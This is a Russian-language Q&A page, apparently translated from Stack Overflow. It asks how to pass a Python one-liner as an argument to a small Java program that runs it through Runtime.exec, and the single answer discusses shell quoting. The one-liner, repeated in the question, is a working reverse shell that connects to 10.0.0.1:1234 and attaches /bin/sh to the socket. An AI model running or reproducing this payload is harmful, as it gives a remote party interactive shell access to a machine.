Передача операторов Python в качестве аргументов командной строки в программу Java

Учитывая ниже java код, как я могу передать следующее python заявления в качестве аргумента java код

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Java-код:

import java.io.*;
public class Exec {

    public static void main(String[] args) throws IOException {
        Process p = Runtime.getRuntime().exec(args[0]);
        byte[] b = new byte[1];

        while (p.getErrorStream().read(b) > 0)
            System.out.write(b);
        while (p.getInputStream().read(b) > 0)
            System.out.write(b);
    }
}

Я выполняю код Java, используя:

java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''

но это бросает syntax error near unexpected token('`. Если я использую двойные кавычки в начале и в конце

java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

это бросает:

  File "<string>", line 1
    'import
          ^
SyntaxError: EOL while scanning string literal

Буду признателен за любую оказанную помощь.

1 ответ

Как вы заметили, это довольно запутанно. Вы пытаетесь передать все как один аргумент, и цитирование становится трудным. Если вам нужны явные аргументы, я думаю, что вы должны передать три аргумента вашей Java-программе, а именно:

  1. питон
  2. полный сценарий процитирован соответствующим образом

например

java Exec python -c "script quoted and escaped properly"

но, возможно, вы могли бы обойти это, запустив 'python' и передав имя файла, содержащего ваш скрипт? (зачем вам нужно указывать 'python' и '-c' - это может быть жестко задано в вашей программе?)

Однако, в принципе, почему вы используете Java для запуска программы на Python для создания оболочки bash? Если вы работаете на платформе Java, я бы посмотрел, как добиться того, чего вы действительно хотите, без необходимости раскручивать подпроцессы с использованием различных технологий.

Другие вопросы по тегам